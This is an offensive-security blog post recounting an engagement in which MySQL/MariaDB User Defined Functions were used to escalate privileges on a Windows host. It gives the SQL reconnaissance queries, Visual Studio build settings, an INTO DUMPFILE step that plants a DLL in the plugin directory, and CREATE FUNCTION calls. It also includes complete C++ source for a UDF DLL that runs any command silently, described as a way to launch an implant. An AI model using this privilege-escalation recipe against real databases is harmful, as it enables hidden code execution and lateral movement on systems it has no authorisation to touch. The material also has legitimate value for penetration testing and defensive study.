4 October 2026

Attack SQL databases with User Defined Functions (UDF)

#offensive #Privilege Escalation #UDF #SQL

Why

This year during an engagement we used UDF to escalate our privileges on a Windows host where a MariaDB instance was running with insecure credentials, while there are some cheatsheets and posts on UDF functions I want to make my recap with some considerations that came up during the activity. User Defined Functions or UDF are useful to execute code on a target machine (remotely or locally).

PS. This can also be used as a Lateral Movement technique.

How

Prerequisites

  • Access to the DB to make queries
  • Write rights over the directory set in plugin_dir and this directory must exist
SHOW VARIABLES LIKE 'plugin_dir';

if directory doesnt exist? WE ARE FUCKED! unless we can create it or modify the mysql.ini file(change default plugin dir) and restart the server.

SHOW VARIABLES LIKE 'secure_file_priv';
  1. If it returns a path → MySQL only allows file import/export in that folder
  2. If it’s NULL → file operations are disabled
  3. If empty → no restriction (rare, insecure)
  • Verify target server architecture
SELECT VERSION();
SHOW VARIABLES LIKE 'version_compile_machine';
SHOW VARIABLES LIKE 'version_compile_os';
  • find the right libraries for the SQL instance

Dependencies location:

MariaDB Connector for MariaDB
MySQL Server for MySQL

important to have mysql.h or whichever library you use, to find the right headers and dependencies download the matching version of mysql server or maria db to a test client

Tested on:

MySQL Server 5.7
MariaDB 10.4.28

PROPERTIES

Compilation is a pain in the Ass, create a normal DLL C++ project , add dependencies on (NOT A SCIENCE NEEDS A RECHECK):

Properties > VC++ Directories > Include Directories > Add the /include directory, example:

C:\Program Files\MySQL\MySQL Server 5.7\include
C:\Program Files\MariaDB\MariaDB Connector C 64-bit\include
C:\Program Files\MariaDB\MariaDB C++ Connector 64-bit\include\mariadb

Properties > VC++ Directories > Library Directories> Add the /lib directory, example:

C:\Program Files\MariaDB\MariaDB C++ Connector 64-bit
C:\Program Files\MariaDB\MariaDB Connector C 64-bit\lib
C:\Program Files\MySQL\MySQL Server 5.7\lib

based on installation path of your db

Properties > C++ > Additional Include Directories > Add the /include directory (probably not needed)
Properties > C++ > Preprocessor Definitions > _CRT_SECURE_NO_WARNINGS;NDEBUG;
Properties > C++ > Precompiled Headers > Precompiled Header > Not Using Precompiled Headers
Properties > Linker > Additional Library Directories > Add the /lib directory (probably not needed)
Properties > Linker > Input > Additional Dependencies > add the name of the *.lib files like:

libmysql.lib
mysqlclient.lib
mysqlcppconn.lib
mariadbcpp.lib
mariadbcpp-static.lib
libmariadb.lib
mariadbclient.lib

remove debugging

Properties > C++ > Debug Information Format > None
Properties > Linker > Debugging > Generate Debug Info > No

Execution

if there are no other ways of writing the file there we can abuse the mysql server user or directly pass it the base64 string to DUMPFILE into our target dll file

SELECT FROM_BASE64(
    TO_BASE64(
        LOAD_FILE('C:\\Users\\user\\Desktop\\your_dll_name.dll')
    )
)
INTO DUMPFILE 'C:\\Users\\user\\Desktop\\mysql\\lib\\plugin\\your_dll_name.dll';

add the function

CREATE FUNCTION your_function_name
RETURNS INTEGER
SONAME 'your_dll_name'

example of execution

SELECT your_function_name('C:\\Windows\\System32\\notepad.exe')

remove the function after use

DROP FUNCTION your_function_name

Example of DLL

The DLL can be very simple as it’s only purpose is to execute another piece of code or implant that is already present inside another malicious file on the machine.

#include <windows.h>
#include <mysql.h>

extern "C" {

    __declspec(dllexport) my_bool your_udf_function_init(UDF_INIT* initid,
        UDF_ARGS* args,
        char* message)
    {
        if (args->arg_count != 1)
        {
            strcpy(message, "your_udf_function() requires one argument: path");
            return 1;
        }

        if (args->arg_type[0] != STRING_RESULT)
        {
            strcpy(message, "Argument must be a string.");
            return 1;
        }

        initid->maybe_null = 0;
        return 0;
    }

    __declspec(dllexport) long long your_udf_function(UDF_INIT* initid,
        UDF_ARGS* args,
        char* is_null,
        char* error)
    {
        STARTUPINFOA si;
        PROCESS_INFORMATION pi;

        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);

        ZeroMemory(&pi, sizeof(pi));

        char commandLine[1024];
        strcpy(commandLine, args->args[0]);

        BOOL result = CreateProcessA(
            NULL,
            commandLine,
            NULL,
            NULL,
            FALSE,
            CREATE_NO_WINDOW,
            NULL,
            NULL,
            &si,
            &pi);

        if (!result)
            return GetLastError();

        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);

        return 0;
    }

    __declspec(dllexport) void your_udf_function_deinit(UDF_INIT* initid)
    {
    }

}

Troubles

tried the execution with something that allowed multiple arguments ecc, obv need to modify your dll aroud it

SELECT your_function_name('C:\\Users\\User\\Downloads\\soft.exe --config C:\\Users\\Users\\AppData\\Roaming\\soft.config')